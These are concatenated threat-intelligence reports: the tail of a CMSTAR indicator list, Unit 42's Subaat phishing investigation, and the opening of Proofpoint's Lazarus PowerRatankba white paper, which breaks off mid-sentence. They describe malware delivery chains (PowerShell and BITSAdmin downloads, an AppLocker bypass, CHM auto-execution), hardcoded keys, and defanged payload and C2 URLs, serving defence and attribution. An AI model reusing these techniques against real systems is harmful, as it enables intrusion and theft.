8e9136d6dc7419469c959241bc8745af7ba51c7b02a12d04fec0bc4d3f7dcdf0 CMSTAR.B Download Locations http://108.61.175[.]110/tlhXVFeBvT64LC9.dat http://104.238.188[.]211/gl7xljvn3fqGt3u.dat http://45.77.60[.]138/c2KoCT5OHcVwGi7.dat http://108.61.175[.]110/gkMmqVvZ7gGGxpY.dat http://108.61.175[.]110/z_gaDZyeZXvScQ6.dat http://108.61.175[.]110/bDtzGVtqgiJU9PI.dat http://45.77.60[.]138/liW0ecpxEWCfIgU.dat http://45.77.60[.]138/JUmoT4Pbw6U2xcj.dat http://108.61.175[.]110/oiUfxZfej29MAbF.dat http://108.61.103[.]123/jvZfZ0gdTWtr46y.dat http://108.61.103[.]123/06JcD5jz5dSHVAy.dat http://108.61.103[.]123/nj3dsMMpyQQDBF3.dat http://108.61.103[.]123/fHZvWtBGlFvs2Nr.dat http://45.77.60[.]138/w57E8dktKb9UQyV.dat CMSTAR.C SHA256 85e06a2beaa4469f13ca58d5d09fec672d3d8962a7adad3c3cb74f3f9ef1fed4 b8ef93227b59e6c8d3a1494b4860d15be819fae17b57fd56bfff9a51b7972ff0 9e6fdbbc2371ac8bc6db3b878475ed0b0af8950d50a4652df688e778beb87397 4e38e627ae21f1a85aa963ca990a66cf75789b450605fdca2f31ee6f0f8ab8f2 f4ff0ca7f2ea2a011a2a4615d9b488b7806ff5dd61577a9e3a9860f2980e7fc0 8de3fa2614b1767cfd12936c5adf4423ef25ea60800fa170752266e0ca063274 38197abde967326568e101b65203c2efa75500e5f3c084b6dd08fd1ba1430726 726df91a395827d11dc433854b3f19b3e28eac4feff329e0bdad93890b03af84 5703565ec64d72eb693b9fafcba5951e937c8ee38829948e9518b7d226f81c10 d0544a3e6d1b34b8b4e976c7fc62d4500f28f617e2f549d9a3e590b71b1f9cc5 2a8e5551b9905e907da7268aba50fcbc526cfd0549ff2e352f9f4d1d71bf32a7 d7cd6f367a84f6d5cf5ffb3c2537dd3f48297bd45a8f5a4c50190f683b7c9e90 8f7294072a470b886791a7a32eedf0f0505aaecec154626c6334d986957086e4 6419255d017b217fe984d3439694eb96806d06c7ea41a422298650969028c08c CMSTAR.C Download Locations http://45.77.58[.]49/54xfapkezW64xDE.dat http://45.77.58[.]49/54xfapkezW64xDE.dat http://45.77.62[.]181/naIXl13kqeV7Y2j.dat http://45.77.58[.]160/9EkCWYA3OtDbz1l.dat http://45.77.58[.]160/8h5NPYB5fAn301E.dat http://45.77.58[.]160/9EkCWYA3OtDbz1l.dat http://45.77.60[.]138/3kK24dXFYRgM6Ac.dat http://45.77.60[.]138/ezD19AweVIj5NaH.dat http://45.77.60[.]138/VFdSKlgCAZD7mmp.dat http://45.77.60[.]138/HJDBvnJ7wc4S5qZ.dat http://45.77.60[.]138/jVJlw3wp379neaJ.dat http://45.77.60[.]138/YXza9HkKWzqtXlt.dat http://45.77.60[.]138/UScHrzGWbXb01gv.dat http://45.77.60[.]138/WsEeRyHEhLO1kUm.dat 12/12 Tracking Subaat: Targeted Phishing Attack Leads to Threat Actor s Repository researchcenter.paloaltonetworks.com/2017/10/unit42-tracking-subaat-targeted-phishing-attacks-point-leader-threatactors-repository/ By Unit 42 October 27, 2017 In mid-July, Palo Alto Networks Unit 42 identified a small targeted phishing campaign aimed at a government organization. While tracking the activities of this campaign, we identified a repository of additional malware, including a web server that was used to host the payloads used for both this attack as well as others. We ll discuss how we discovered it, as well as possible attribution towards the individual behind these attacks. The Initial Attack Beginning on July 16, 2017, Unit 42 observed a small wave of phishing emails targeting a USbased government organization. We observed a total of 43 emails with the following subject lines: Invention Invention Event Within the 43 emails we observed, we found that three unique files were delivered, which consisted of two RTFs and a Microsoft Excel file. Both RTFs exploited CVE-2012-0158 and acted as downloaders to ultimately deliver the QuasarRAT malware family. The downloaders made use of the same shellcode, with minor variances witnessed between them. Additionally, the RTFs made use of heavy obfuscation within the documents themselves, making it more difficult to extract the embedded shellcode. The Microsoft Excel file contained malicious macros that resulted in dropping and subsequently executing Crimson Downloader. The Excel document contained a UserForm that in turn contained three text boxes. The embedded payload was hex-encoded and split between these three text boxes. The malicious macro extracted this information from the text boxes, dropped it to a specific location, and eventually executed the Crimson Downloader payload. Detailed information about these malware samples may be found in the appendix of this blog. A curious aspect of this campaign is the use of Crimson Downloader in this email campaign. To date, we have not widely seen Crimson Downloader being used: in fact, we have only seen 123 unique instances of this malware family being used to date. Readers may recall a previous blog post from March 2016 that discussed Crimson Downloader. That blog post discussed relationships with both Operation Transparent Tribe and Operation C-Major, which were both targeted campaigns that made use of Crimson Downloader aimed at diplomatic and political 1/17 targets. The connections we observed in this research leads us to believe there might be a connection between this most recent activity we observed and those campaigns. However, there is not enough evidence to say so decisively. Expanding the Scope from the Original Attacks When looking at the various malware samples encountered as we analyzed this campaign, we identified a total of three hosts/IP addresses, as shown in the following chart: 5.189.157[.]215 Crimson Downloader connects to this IP address. 115.186.136[.]237 QuasarRAT connects to this IP address. subaat[.]com (Resolves to 23.92.211[.]186) RTFs download QuasarRAT from this host. Starting with the first IP address that was used by Crimson Downloader, we can see that this address appears to be located in Germany and is almost exclusively associated with this malware family. Based on our telemetry, this IP address has exclusively been used to communicate with Crimson Downloader. We observed a total of 16 unique Crimson Downloader samples starting in May of this year. Moving onto the second IP address of 115.186.136[.]237, we see that this IP address belongs to a Pakistan-based Internet Service Provider (ISP), based in Islamabad, that services both residential and commercial customers. The subaat[.]com domain has historic WHOIS information from early 2016 that references a Pakistani location, as seen in the image below. Additionally, it uses pkwebhost[.]net for its DNS, which is a Pakistan-based hosting provider. 2/17 Figure 1 Historical WHOIS information for subaat[.]com from early 2016 The references to Pakistan in conjunction with the use of Crimson Downloader, which has historically been associated with Pakistan actors, is certainly interesting. The RTFs we observed in the original email campaign downloaded QuasarRAT from http://subaat[.]com/files/sp.exe. Checking this host led us to discover that directory listings were enabled. We were able to discover a large repository of malware on this open server. 3/17 Figure 2 Open directory listing of subaat[.]com Since beginning this research, this domain has been suspended by the hosting provider. However, it returned in mid-August, hosting both a malicious APK and a known instance of QuasarRAT. 4/17 Figure 3 Subaat returns after suspension In total, we found 84 unique malware payloads hosted on this server, in addition to a number of miscellaneous scripts. The chart below shows the malware families we identified: Figure 4 Malware families identified in web server repository As we can see from the above chart, a wealth of different malware families were stored on this web server. Many of these malware families are considered to be commodity malware, or widely used by criminals. Palo Alto Networks has reported on many of these families in the past, including LuminosityLink, QuasarRAT, and DarkComet to name a few. The large number of commodity malware families paints a very different picture from the original attack that made use of Crimson Downloader, which is not a widely used malware. A full list of SHA256 hashes associated with these samples may be found in the appendix. 5/17 One thing that caught our eye was the large number of LuminosityLink malware samples stored on this server. Looking at the embedded configuration settings for these samples, we see that they are all similar. The following example shows one of these configurations. A script written in a previous blog post was used to generate the output below, it can be downloaded here. Figure 5 Embedded configuration within LuminosityLink sample The email address shown above is used to register a customer s copy of LuminosityLink. All samples using this registered builder contain this email address. We found all 20 of the identified LuminosityLink samples contained this same email address. The primary domain shown above is registered to 115.186.136[.]237, which is the IP address used by QuasarRAT for Command and Control (C2) communications. Looking at other samples found within the web server repository, we identified a number of malware families communicating with this IP address, including the following: QuasarRAT LuminosityLink Meterpreter NJRAT RevengeRAT RemcosRAT We also discovered that the email address discussed above was being used by an account on the popular HackingForum web forum service. The account in question that claims to own this email address is none other than Subaat 6/17 Figure 6 Subaat user mentioning the hotmail email address on HackForums Looking at this user s profile below, we can see their posting history: a total of 14 posts in the past two years. We also see a date of birth of 2/24/1990, stating that the individual is 27 years old. Figure 7 Subaat profile information A quick look at the posting history indicates that this person was inactive starting around December 2016, but returned to posting in early July of this year. This is in line with the campaign witnessed against a US-based government organization that took place on July 16th. 7/17 The posts look to be related to various Office exploit builders and crypters. This again is in line with both the campaign we witnessed as well as the various malware we identified on subaat[.]com. Figure 8 Subaat posting history A Look Behind the Scenes Looking at logs for the subaat webserver between July 1st and July 20th shows the IP address of 115.186.136[.]237 uploading and interacting with a number of malicious files. We found interactions with a total of 64 unique files during this period. Below is a chart showing the attacker at this IP address interacting with some of the more popular malware families that have been identified. 8/17 Figure 9 Interaction between attacker and web server As we can see from the chart above, a spike of activity took place in the July 11th to July 16th timeframe. This again is consistent with the email campaign that took place in the midst of this period. A number of malware families have been used by this specific attacker, and many of them are configured to communicate with 115.186.136[.]237 as the C2. Conclusion What started out as a simple look into what appeared to be a targeted phishing campaign turned into much more. By the end of this research endeavor, we have identified a server hosting a large number of malware samples that has been primarily used by one specific IP address. This IP address not only interacted with this web server, but also acted as a C2 server for many of these malware families. While looking at malware associated with this actor, we discovered an email address that is tied to a user account on HackForums that has a name consistent with the domain used to host the actor s malware. We saw similarities this campaign and both the Operation Transparent Tribe and Operation CMajor campaigns. Additionally, there is marginal evidence that suggests that the attacker may be based in Pakistan, which is again in line Operation Transparent Tribe. However, the overall evidence is not conclusive, and there is insufficient proof to say decisively that this is the same threat actor. Palo Alto Networks customers are protected by this threat in a number of ways: All identified samples are flagged as malicious within the Palo Alto Networks platform All domains identified within this research have been appropriately marked as malicious 9/17 Traps correctly identified and blocks the exploits using CVE-2012-0158 and CVE-20170199 Appendix Analysis of Malicious RTF Documents The two identified samples that were used in a campaign against a US-based government organization has the following SHA256 hashes: 0ade053b355eca7ae1fccea01fe14ff8d56a9d1703d01b3c00f7a09419357301 9a57f96a3fd92b049494807b6f99ffcd6bb9eb81f4f5b352d4b525ad32fac42d These samples varied in size greatly, however, the underlying shellcode was consistent. One notable difference observed in one of the samples (0ade05 ) was the inclusion of injecting the shellcode into a newly spawned instance of svchost.exe. When the shellcode begins, it will start by loading a number of functions that are used to inject code into svchost.exe. The following Python code demonstrates how this hashing function operates: Figure 10 Python code demonstrating API hashing technique #1 The shellcode continues to decrypt a blob of data using a 4-byte XOR key of 0x8F51F053. This blob contains a series of important strings, such as the URL and filename, as well as functions that will be used to download the payload. After this blob is decrypted, flow control proceeds to this blob s code, where the shellcode will load multiple libraries and functions using a specific hashing algorithm. The shellcode continues download a file to the %TEMP% directory from the following URL: http://subaat[.]com/files/sp.exe 10/17 The shellcode proceeds to execute this newly downloaded file prior to exiting. Analysis of Malicious Excel Documents The identified sample that was used in a campaign against a US-based government organization has the following SHA256 hash: e3243674aa3661319903a8c0e1edde211f1ffdeed53b305359d3390808007621 When this sample is initially executed, it will attempt to run a malicious macro that is embedded within the file. This macro begins by determining where a dropped file will reside. It will attempt to find the following folders residing within a user s profile path: /Documents /Downloads /AppData Figure 11 Macro determining file path The payload itself is stored within text boxes in a user form within the Excel document. This data is extracted and hex-decoded. The three blobs of data are concatenated to form a proper PE32 executable. 11/17 Figure 12 Macro loading data from text boxes A quick look at the included user form gives us a better view as to how this data is stored. 12/17 Figure 13 Embedded user form with three text boxes The following example Python code demonstrates the hex-decoded data shown in the highlighted text box above. Figure 14 Python code hex-decoding the stored data After this data is properly handled, the macro will drop this file with an extension of .scr to the designated file path. It is then executed in a new process. This newly spawned process is an instance of the Crimson Downloader malware family. 13/17 SHA256 Hashes c4c478c5486a09ac06e657ace2c1edb00cc690a2ff3558598e07687aa149df71 6b6ff0bef244732e90e7a8c200bcd1d8db6f58fe4da68889eb847eb1b6458742 07cb90288ae53643a4da291863df6c9be92bfd56b953073e30b7c28c777274fc 66ef8f3660902cba0ca9bebd701d322aff1d5a13de0cf63cf3f1b8841e08efc6 20c949ca25fed25918e524dde67ffe44efb1c974a5ed68d519b77354303c4916 007e4b308a69d6c3dba5a01f754a63231b996f1a68ff43ec9b5906f583f0fc6b f7d2f547d5ab07abf59f97fb069288d682a20bc9614642777d11c7db76b36f39 20e368b0d0288b968fed7193c965a7c7ecf3e731eb93a4cbd4420242fad7ce8c 9ddc4ba7a8025598b6a8344c5537af3e2ae6e6db8356dcbfc9ad86b84dee87af 95c00b3de53c0b5742c182f9221a3086bf046ad8da57c915e8c0b6dc5180fd7f 0804202f46dc94768820cb0915b8d2b36602575ac78e526ea7f518e584069242 914b6f21297ebb81621b6da00edcda59b4c1fdd06329ed7a587c9a9b09915583 2a73231d0480f7481737256a8dca6b2549db982cc10f1761c2a267eb85dcaca4 67d4ab365f1630e750aee300f14fbfc940ea235647014030bd56c4127933834b 41efb2f1cb81160539058d8fc2ca8c037692803dcb8b332c660233bffe5bf874 e51b8bf7cc72b47c8ee59056fabd2af1795152d8df33967949d2d2a0996cc51b 4c6f7aafc2e4d8b0b7e7f21cbb102e02dc314eeb2f8e754f59ea471f58cabda0 3a664210955a82d961480adcc914456931325268ccf26c09d0275ca1d2ff35f1 5cc14c2bc185121391a7c43e3e65ced4697274e93fe42f28f20c067dde7e9f1d f19480d36453da029247fbd066c7f0c1b28912bbefafd052b1d4ee9a64eb9e31 6bbb87f05d9d987a3df3bb585de3f2fad5d5cd3f11a0e3c4587255c55a9fe2a5 75da69e466183b0d004719d32f779cd5b7849a6dac0b6303e11db543c0ddec32 a0a2edcd19a581aeba3de5bbca21065425fbf34fd1a798269ff99bd8af8bf847 2c34565535a0f90b469f0e100d9027190d3cd812bd824aa6af73b4884690a395 50c4f3d3335daf84d507ed2663a411d2ce39e9def172ddbaf7ade0f2ce0f2736 14/17 a8445387cb7e4bc79da34d371eedf50f265e145ce8f48c64aeff2690ed7f8b10 7218bc4e9b8817eff678422a9125a852c3f66ecf275aa691433dd8cd4910f66d 106938bff25de67513acc809c4c77b2aa9e9974ec8bf4d20bad154015abc77be 85116c4f9695bf15fe3fdcb20cff8634971e39c2b97b1a159446fa6cdf05e913 253bb91003a8c295a70240206605542147d7b9fdc2d26ac999772b3b78db3a80 2d5abd4cc322d5802617d6a1cd3fc22403052e2711bf6bd76976ab7d1cea45cf e0d6e8584f2d3d6d807ad2fe9d2fccc792635e8e3ab0132f3b5dedc0394019c9 625f30d4abd89b94c1f732463202c51cd9424a1bcbf2e72a9779773c0f82f93c 6807c25ead1c377c975c84a214da8a68482623658369a02ce56b531d6f38a5b6 dfb984ea975ca992e1a0f9a6d30a41057edd36b170704b7831f609f44f80ad8d ed9fb1d8c36fb60c808006ae63908980a259cb73ed44adf19856ea6c239d1eab 1f286fff72a562cd327985a1b57316364710f2cbfeedc46d12dc8d21b4611ecb 4da2fd94b4f21a346ebfa5d8793dd60a1d4200dfe6b91517a70aed4c0b59a4d4 983bc61d569839558e2a2ef2a53174efe45be4e65da991268ce1926beb4e3505 7b1ab4513788ef4b6628911ba6ed6362eb357b66d18f6988fb4ceffb20ee1d91 8c93d054d4ef93f695da9693f6de538e269b39320c934428f27cc22ef6b2d89e cd873eaded83861c4f59bfb5c902b43bfd7f5ecb13eccc385498ad9564085e97 e63f0ab5413b0013d79c57f8132c21c0c9397c88caa01edbb4fbe6c2db4932a0 24bc5f9aa78d91d6c8641b90cac6d3c3e7ddf4b30a992a9129d73c5edb04f80f 89ac4eeaecd38fcb2eb8e0bacd156b6133a6093f44622f7d82e22493a69cafb7 07abc1eb421baffe4f894406c1435b3daf8d1dcfba53d8e4e8f584cf72d08110 2941360679ea485798e324e3538c358cf6cba65959ebf28df9fd4a5492bf2888 dbac3abbaaea59c8287d3ed47cac07aeca952a3620eda4559c2bf0f3f611d52e efca910066b59ca833c7291d07f18922cf5e3e2301c5fd95b7acd50f195fc580 a331276b9810ebc131daf883887a0ba8ab0fb5e6ea4671b12249c1be1755fce8 31d94441009e7ea50d880e1dcc9e09890f1139bce9edc847b05f2c5ac355695e 15/17 c3eeb0677dcbfe4edb6cca9c5bac34ae80a5906b76676548ef0e5110f3ddd4c3 e68ea3c3c9bb0d5b0d4f940b0cbbfb6913a47bb6f345b54f487241fc4eec4b31 83810647cd0c398ad05dec63c41756bf5fbfd1b0658379753c157e7b1f45aed3 dfb4f62c609be0295ef1c4fcd59c5897fbd0ad40a82d00a93e7f3bdadcc1d320 23180df75c5b9293f3743ea27c09ce471f1f5541cd668ac22c16e41f1ff7b4da ef09065b95d0ea2e02384828e5616fc6f9ededadb2b4719078904c50d2ed4307 923818d36ff1fd94829424847ac20ab7d77432b133cdb5cb1a1be87ec0e1b617 4cbc47fe5d82145265e8dbc9e81ab6afa9a0a4f3c6dd8c15ce2af09584278517 670e45f3e2fbb635df00790d90a5cf8bc950440a935b38c2bb71f0c463c24b3b 2551d883d3e66a3e7bcabc052be2e503808df570c03d816ddfb83bf6e686a5f6 712a8fa4308de2ba1a83545e96539092215c75bfa8b63b33ee1a739cc6522873 7e09b6d96d7034f1ac5947355dba360cc49f53d4c0c89aab05c1ef6cc2d0a213 801bb690dd2ecd3877b014030dfca40f3b7d964fdb8e1ab1252352212e24f777 fae9b4a92277e227f6122794ef366dba49c045add9569e9a0d8fc66196c5c787 2bfbd56ee421b8aab3dd3d1f9e9a2d512556a4e0440c8f04e94d6ad5b584e43c 35bc123df7bfc8f9239af3fa14350091c513e7b1d42b93a8dca39e131c48c052 87d122b7b99735689713ff51650b6a331d9c4d7f7617fc15b7e07b0225b60c2a 0b2a6225d209783672900d1b8e0b19957cb924f0111d0be347dead9520ad745a 5f3845a1e3d2f3d09c3ffff4a71e04f61d995aae54311d4c9ab88ff65803d131 5c361d57ac83936d08c4a93208142b7397d6074bbf6e24cb6cee0e3e3e5351b3 ea35cf979b358c1661b4b1b9465a700925bdf4ba227989b47127270e32345f29 44963748c947e0f5d21d353e6e5ceb3b6a64fd0b4ad28540ab47bdf2422e9523 1d4f20832e641a1cedd598e187614b78ba3d5930c6dcd71e367b254664cb9b2e 050123edd0d9ea5acf32314aa500467211d8f204f57627abc42937fe11f04382 4c806d18ba1cac5d83be7c05f43697d5124b910d2de8264cdff1d8f186a0a7dd aec031e3747b00be2b0cc3a1d910ae18ada65452f3e70425cae86fe24d2996d4 5ac984bb11b989ef745c35dd2418eb5bd26a6bba291cf2ba7235bf46d3400260 16/17 0ade053b355eca7ae1fccea01fe14ff8d56a9d1703d01b3c00f7a09419357301 e3243674aa3661319903a8c0e1edde211f1ffdeed53b305359d3390808007621 9a57f96a3fd92b049494807b6f99ffcd6bb9eb81f4f5b352d4b525ad32fac42d 7bad7cbc32e83b8dfc4f6c95824ea45dcee2330de44d84c9bc551f99e6ca6faa 341403284158723f1f94897d257521a73fcfc8049b786f5004f60a063fb074f2 f68a169670bb3dc3bd0a2dc83120d34f59d7f4dacfdc98dbbd86931cdd4f7392 579c669bd8ec8dd393a836c6c27c86e40e8048fa5efbcfc03e027e69298f0e6a 19df2d2460be2f22f73ea7992470c5369599fba290c0f3dbc613ad35dc3ba18a 692997349c017c627c8779816bc41840dd7867b0c4d3bec99638bfba159675bc c0658b5aa4e9bc2433557e65ad20ded6f91b3441dac72cb8c2ea7e1f2e43e05e IP Addresses 5.189.157[.]215 115.186.136[.]237 Domains subaat[.]com hassanusauae786.hopto[.]org 17/17 White paper North Korea Bitten by Bitcoin Bug Financially motivated campaigns reveal new dimension of the Lazarus Group Darien Huss www.proofpoint.com Table of Contents EXECUTIVE SUMMARY........................................................................................................................................................... 3 OVERVIEW............................................................................................................................................................................... 4 INTRODUCTION...................................................................................................................................................................... 4 PowerRatankba Downloaders......................................................................................................................................5 Campaign Timeline.................................................................................................................................................................... 5 PowerSpritz................................................................................................................................................................................ 6 Windows Shortcut (LNK)............................................................................................................................................................ 8 Microsoft Compiled HTML Help (CHM)..................................................................................................................................... 9 JavaScript Downloaders.......................................................................................................................................................... 11 VBScript Macro Microsoft Office Documents.......................................................................................................................... 13 Backdoored PyInstaller Applications....................................................................................................................................... 15 Implant Description and Analysis..............................................................................................................................18 PowerRatankba Description..................................................................................................................................................... 18 PowerRatankba.A C&C Description......................................................................................................................................... 19 PowerRatankba.B C&C Description........................................................................................................................................ 20 PowerRatankba Persistence.................................................................................................................................................... 20 PowerRatankba.B Stage2 - Gh0st RAT.................................................................................................................................... 21 Gh0st RAT Purpose.................................................................................................................................................................. 23 Shopping Spree: Enter RatankbaPOS..................................................................................................................................... 23 RatankbaPOS Analysis............................................................................................................................................................ 23 RatankbaPOS Targeted Region............................................................................................................................................... 28 Attribution to Lazarus Group......................................................................................................................................28 Encryption................................................................................................................................................................................ 28 Obfuscation.............................................................................................................................................................................. 30 Functionality............................................................................................................................................................................. 30 Code Overlap........................................................................................................................................................................... 31 Decoys..................................................................................................................................................................................... 32 C&C.......................................................................................................................................................................................... 32 CONCLUSION........................................................................................................................................................................ 33 Research Contributions........................................................................................................................................................... 33 Indicators of Compromise (IOCs)............................................................................................................................................ 34 ET and ETPRO Suricata/Snort Signatures............................................................................................................................... 37 North Korea Bitten by Bitcoin Bug Executive Summary With activity dating at least to 2009, the Lazarus Group has consistently ranked among the most disruptive, successful, and far-reaching nation-state sponsored actors. The March 20, 2013 attack in South Korea, the Sony Pictures hack in 2014, the successful theft of $81 million from the Bangladesh Bank in 2014, and perhaps most famously this year s WannaCry ransomware attack and its global impact have all been attributed to the group. The Lazarus Group is widely accepted as being a North Korean state-sponsored threat actor by numerous organizations in the information security industry, law enforcement agencies, and intelligence agencies around the world. The Lazarus Group s arsenal of tools, implants, and exploits is extensive and under constant development. Previously, they have employed DDoS botnets, wiper malware to temporarily incapacitate a company, and a sophisticated set of malware targeting the SWIFT banking system to steal millions of dollars. In this report we describe and analyze a new, currently undocumented subset of the Lazarus Group s toolset that has been widely targeting individuals, companies, and organizations with interests in cryptocurrency. Threat vectors for this new toolset, dubbed PowerRatankba, include highly targeted spearphishing campaigns using links and attachments as well as massive email phishing campaigns targeting both personal and corporate accounts of individuals with interests in cryptocurrency. We also share our discovery of what may be the first publicly documented instance of a nation-state targeting a point-of-sale related framework for the theft of credit card data, again using a variant of malware that is closely related to PowerRatankba. North Korea Bitten by Bitcoin Bug Overview The Lazarus Group has increasingly focused on financially motivated attacks and appears to be capitalizing on both the increasing interest and skyrocketing prices for cryptocurrencies. Proofpoint researchers have uncovered a number of multistage attacks that use cryptocurrency-related lures to infect victims with sophisticated backdoors and reconnaissance malware. Victims of interest are then infected with additional malware including Gh0st RAT to steal credentials for cryptocurrency wallets and exchanges, enabling the Lazarus Group to conduct lucrative operations stealing Bitcoin and other cryptocurrencies. We also discovered what appears to be the first publicly documented instance of a nation-state targeting a point-of-sale related framework for the theft of credit card data in a related set of attacks. Moreover, the timing of the point-of-sale related attacks near the holiday shopping season makes the potential financial losses considerable. Introduction It is already well-known that Lazarus Group has targeted and successfully breached several prominent cryptocurrency companies and exchanges. From these breaches, law enforcement agencies suspect that the group has amassed nearly $100 million worth of cryptocurrencies based on their value today. We hypothesize that many of these previously reported operations targeting cryptocurrency organizations have actually been conducted by the espionage team of the Lazarus Group based on evidence we provide in the Attribution section. Further, we assess that until today, many of Lazarus Group s traditional financially motivated team have remained largely in the shadows as they conduct these operations adding to their already impressive stockpile of various cryptocurrencies. Several watering hole attacks targeting the banking and financial industries that occurred at the end of 2016 and beginning of 2017 utilized a first stage downloader implant dubbed Ratankba. During those incidents, Lazarus Group primarily used Ratankba as a reconnaissance tool, described by colleagues at Trend Micro as a utility to survey the lay of the land. this research we detail a new implant dubbed PowerRatankba, a PowerShell-based malware variant that closely resembles the original Ratankba implant. We believe that PowerRatankba was likely developed as a replacement in Lazarus Group strictly financially motivated team s arsenal to fill the hole left by Ratankba s discovery and very public documentation earlier this year. In this report, we first provide a brief timeline of events related to the malicious activity. Next, we describe the various delivery methods that Lazarus Group utilized to infect victims with PowerRatankba (Fig. 1). We then detail the inner workings of PowerRatankba and how it is utilized to deliver a more fully capable backdoor to interesting victims (Fig. 1). Following that, we share details on a new and emerging threat targeting the South Korean point-of-sale industry that we have dubbed RatankbaPOS (Fig. 1). Finally, we explain our high-confidence attribution to Lazarus Group. North Korea Bitten by Bitcoin Bug Figure 1: Flow of PowerRatankba activity from victims to the Lazarus Group operators PowerRatankba Downloaders In this section we will detail each of the different attack vectors and campaigns we have discovered that eventually lead to the delivery of PowerRatankba. In total we have discovered six different attack vectors: A new Windows executable downloader dubbed PowerSpritz A malicious Windows Shortcut (LNK) file Several malicious Microsoft Compiled HTML Help (CHM) files using two different techniques Multiple JavaScript (JS) downloaders Two macro-based Microsoft Office documents Two campaigns utilizing backdoored popular cryptocurrency applications hosted on internationalized domain (IDN) infrastructure to trick victims into thinking they were on a legitimate website Campaign Timeline The campaigns discussed in this research began on or around June 30th, 2017. According to our data those campaigns were highly targeted spearphishing attacks targeting at least one executive at a cryptocurrency organization to deliver a PowerRatankba.A variant. All other campaigns utilized PowerRatankba.B variants. We currently have no visibility into how the LNK, CHM, and JS campaigns were delivered to users, but given common Lazarus modus operandi, we can speculate that they may have been delivered through attachments or links in emails. We gained visibility again during the massive email campaigns utilizing BTG- and Electrum-themed applications to ultimately deliver PowerRatankba. The timeline below illustrates the exact dates of campaigns where we are aware of them. Where exact dates are unknown, we based estimates on first campaign observations and metadata (Fig. 2). North Korea Bitten by Bitcoin Bug Figure 2: Timeline of campaigns ultimately related to PowerRatankba PowerSpritz PowerSpritz is a Windows executable that hides both its legitimate payload and malicious PowerShell command using a non-standard implementation of the already rarely used Spritz encryption algorithm (see the Attribution section for additional analysis of the Spritz implementation). This malicious downloader has been observed being delivered via spearphishing attacks using the TinyCC link shortener service to redirect to likely attacker-controlled servers hosting the malicious PowerSpritz payload. In early July 2017 an individual on Twitter shared an attack they observed targeting them (Fig. 3) utilizing a fake Skype update lure to trick users into clicking on a link to hxxps://skype.2[.]vu/1. The TinyCC link redirected to a server that, at the time, would have likely returned a PowerSpritz payload: hxxp://201.211.183[.]215:8080/ update.php?t=Skype&r=update Figure 3: PowerSpritz spearphishing email shared on Twitter by @LeoAW, abusing Skype name and branding North Korea Bitten by Bitcoin Bug We have since discovered three additional TinyCC URLs utilized to spread PowerSpritz: one with a Telegram theme (hxxp:// telegramupdate.2[.]vu/5 -> hxxp://122.248.34[.]23/lndex.php?t=Telegram&r=1.1.9) and two more with Skype theme (hxxp://skypeupdate.2[.]vu/1 -> hxxp://122.248.34[.]23/lndex.php?t=SkypeSetup&r=mail_new and hxxp://skype.2[.]vu/k -> unknown). Some of the PowerSpritz payloads were previously hosted on Google Drive; however, we were unable to determine if that service was actually used to spread the payloads in-the-wild (ITW). PowerSpritz decrypts a legitimate Skype or Telegram installer using a custom Spritz implementation with the key Znxkai@ if8qa9w9489 . PowerSpritz then writes the legitimate installer to disk in the directory returned by GetTempPathA either as a hardcoded filename such as SkypeSetup.exe or, in some versions, as the filename returned by GetTempFileNameA. The installer is then executed to trick the potential victim into thinking they downloaded a legitimate, working application installer or update. Finally, Spritz uses the same key to decrypt a PowerShell command that downloads the first stage of PowerRatankba (Fig. 4). All three PowerSpritz samples we discovered executed the identical PowerShell command. Figure 4: Script output showing PowerSpritz PowerShell encoded and decoded command North Korea Bitten by Bitcoin Bug As shown in the above decoded script (Fig. 4), PowerSpritz attempts to retrieve a payload from hxxp://dogecoin. deaftone[.]com:8080/mainls.cs that is expected to be a Base64-encoded PowerShell script. After decoding mainls.cs, a PowerRatankba.A implant is revealed (Fig. 5) with hxxp://vietcasino.linkpc[.]net:8080/search.jsp as its command and control (C&C). Figure 5: PowerSpritz retrieving Base64-encoded PowerRatankba Windows Shortcut (LNK) A LNK masquerading as a PDF document was discovered on an antivirus scanning service. The malicious Scanned Document Part 1.pdf.lnk LNK file, along with a corrupted PDF named Scanned Document Part 2.pdf, were compressed in a ZIP file named Scanned Documents.zip (Fig. 6). It is unclear if the PDF document was tampered with intentionally to increase the chances a target would open the malicious LNK or if the actor(s) unintentionally used a corrupted document. We currently are not aware of how the LNK or compressed ZIP files were utilized ITW. Figure 6: ZIP file with decompressed malicious LNK and corrupted PDF The malicious LNK uses a known AppLocker bypass to retrieve its payload from a TinyURL shortener link hxxp://tinyurl[.]com/y9jbk8cg (Fig. 7). This shortener previously redirected to hxxp://201.211.183[.]215:8080/ pdfviewer.php?o=0&t=report&m=0 . At the time of analysis the C&C server was no longer returning payloads. However, the same IP was used in the PowerSpritz campaigns. Based on the same C&C usage and similar URI structure, we assess with low confidence that the LNK campaign would have delivered PowerRatankba via PowerSpritz. Figure 7: Malicious LNK AppLocker bypass to retrieve payload North Korea Bitten by Bitcoin Bug Microsoft Compiled HTML Help (CHM) Several malicious CHM files were uploaded to a multi antivirus scanning service in October, November, and December. We inspected the compressed ZIP metadata to better understand the likely chronological order in which the CHMs were used. Unfortunately we have been unable to determine how these infection attempts were delivered to victims ITW. The themes of the malicious CHMs include: A confusing, poorly written request for assistance with creating a website with possible romantic undertones (Fig. 8-1) Documentation on a blockchain technology called ALCHAIN from Orient Exchange Co. (Fig. 8-2) A request for assistance in developing an initial coin offering (ICO) platform (Fig. 8-3) White paper on the Falcon Coin ICO (Fig. 8-4) A request for applications to develop a cryptocurrency exchange platform (Fig. 8-5) A request for assistance in creating an email marketing tool (Fig. 8-6) Figure 8: CHM lures utilized in attempts to deliver PowerRatankba All of the CHM files use a well-known technique to create a shortcut object capable of executing malicious code and then causing that shortcut object to be automatically clicked via the x.Click(); function. Two different methods were used across the CHMs to retrieve the malicious payload. The first method uses a VBScript Execute command and BITSAdmin tool to download a malicious VBScript file (Fig. 9). The payload is downloaded (Fig. 10) from hxxp://www.businesshop[.]net/hide.gif and saved to C:\windows\temp\ PowerOpt.vbs. Once the downloaded VBScript (Fig. 10) is executed, it will attempt to download PowerRatankba from hxxp://158.69.57[.]135/theme.gif, saving the expected PowerShell script to C:\Users\Public\Pictures\opt.ps1. North Korea Bitten by Bitcoin Bug Figure 9: Malicious code embedded in CHM to download a VBScript PowerRatankba downloader Figure 10: BITSAdmin retrieving malicious payload over HTTP North Korea Bitten by Bitcoin Bug Figure 10: BITSAdmin retrieving malicious payload over HTTP The second method downloads a similar VBScript-based PowerRatankba downloader using PowerShell directly in the CHM (Fig. 11). A similar VBScript Execute command is utilized to call PowerShell s DownloadString to execute the payload directly from hxxp://92.222.106[.]229/theme.gif Figure 11: PowerShell 